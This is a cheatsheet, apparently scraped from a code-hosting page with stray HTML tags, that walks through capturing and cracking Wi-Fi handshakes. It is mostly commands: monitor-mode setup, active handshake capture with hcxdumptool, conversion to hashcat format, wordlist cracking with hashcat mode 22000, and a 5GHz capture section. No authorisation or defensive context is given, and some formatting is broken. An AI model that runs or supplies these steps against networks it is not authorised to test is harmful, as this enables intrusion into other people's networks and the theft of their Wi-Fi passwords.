You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
4.0 KiB
4.0 KiB
<html>
<head>
</head>
Wi-Fi Handshake Capture & Crack Cheatsheet 📡
Table of Contents 📋
- Preliminary Commands & Information Retrieval
- Capture & Conversion Phase
- Additional Scans & Information
- Cracking Phase
- 5GHz Network Capturing Cheat Sheet
Preliminary Commands & Information Retrieval 🛠
- Secure Copy from Remote Device
- Check Wireless Interfaces
- Kill Interfering Services
scp -r root@172.16.42.1:/root/example.pcapng /home/username/Desktop
📖 Downloads files from remote devices using SCP.
iwconfig
📖 Displays wireless network interface details.
airmon-ng check kill
📖 Stops services that might interfere with wireless tools.
Capture & Conversion Phase 🎯
- Set Wireless Card to Monitor Mode
- Capture Handshakes with hcxdumptool
- Convert Captured File for Hashcat
sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up
📖 Prepares the wireless card for capture.
hcxdumptool -i wlan1 -o dumpfile.pcapng --active_beacon --enable_status=15
📖 Captures packets from networks.
hcxpcapngtool -o hash.hc22000 -E essidlist dumpfile.pcapng
📖 Converts packets for password cracking.
Additional Scans & Information 📡
- Scan for Nearby Networks
hcxdumptool --do_rcascan -i wlan1
📖 Scans and displays nearby networks.
Cracking Phase 🔐
- Crack with Hashcat
hashcat -m 22000 hash.hc22000 wordlist.txt
📖 Uses hashcat to attempt password cracks.
5GHz Network Capturing Cheat Sheet 📶
- 1. Install Necessary Tools
sudo apt-get install hcxdumptool hcxtools
<li><strong>2. Check for 5GHz Support</strong></li>
<code>iw list</code>
<li><strong>3. Enable Monitor Mode</strong></li>
<code>sudo ip link set wlan0 down</code>
<code>sudo iw dev wlan0 set type monitor</code>
<code>sudo ip link set wlan0 up</code>
<li><strong>4. Set to 5GHz Channel</strong></li>
<code>sudo iw dev wlan0 set channel 36</code>
<li><strong>5. Identify Target Networks</strong></li>
<code>sudo hcxdumptool -i wlan0 --scan</code>
<li><strong>6. Capture Traffic</strong></li>
<code>sudo hcxdumptool -i wlan0 --enable_status=1 -o output.pcapng --filterlist=filterlist.txt --filtermode=2</code>
<li><strong>7. Analyze Captured Traffic</strong></li>
<code>hcxpcaptool -z output.hccapx output.pcapng</code>
<li><strong>8. Troubleshooting</strong></li>
<code>sudo iw reg get</code>
<code>sudo iw reg set US</code>
<li><strong>9. Switch Back to 2.4GHz</strong></li>
<code>sudo ip link set wlan0 down</code>
<code>sudo iw dev wlan0 set type monitor</code>
<code>sudo iw dev wlan0 set channel 6</code>
<code>sudo ip link set wlan0 up</code>
<li><strong>10. List 2.4GHz Channels</strong></li>
<code>iw phy phy0 channels</code>
<code>iwlist wlan0 channel</code>
</html>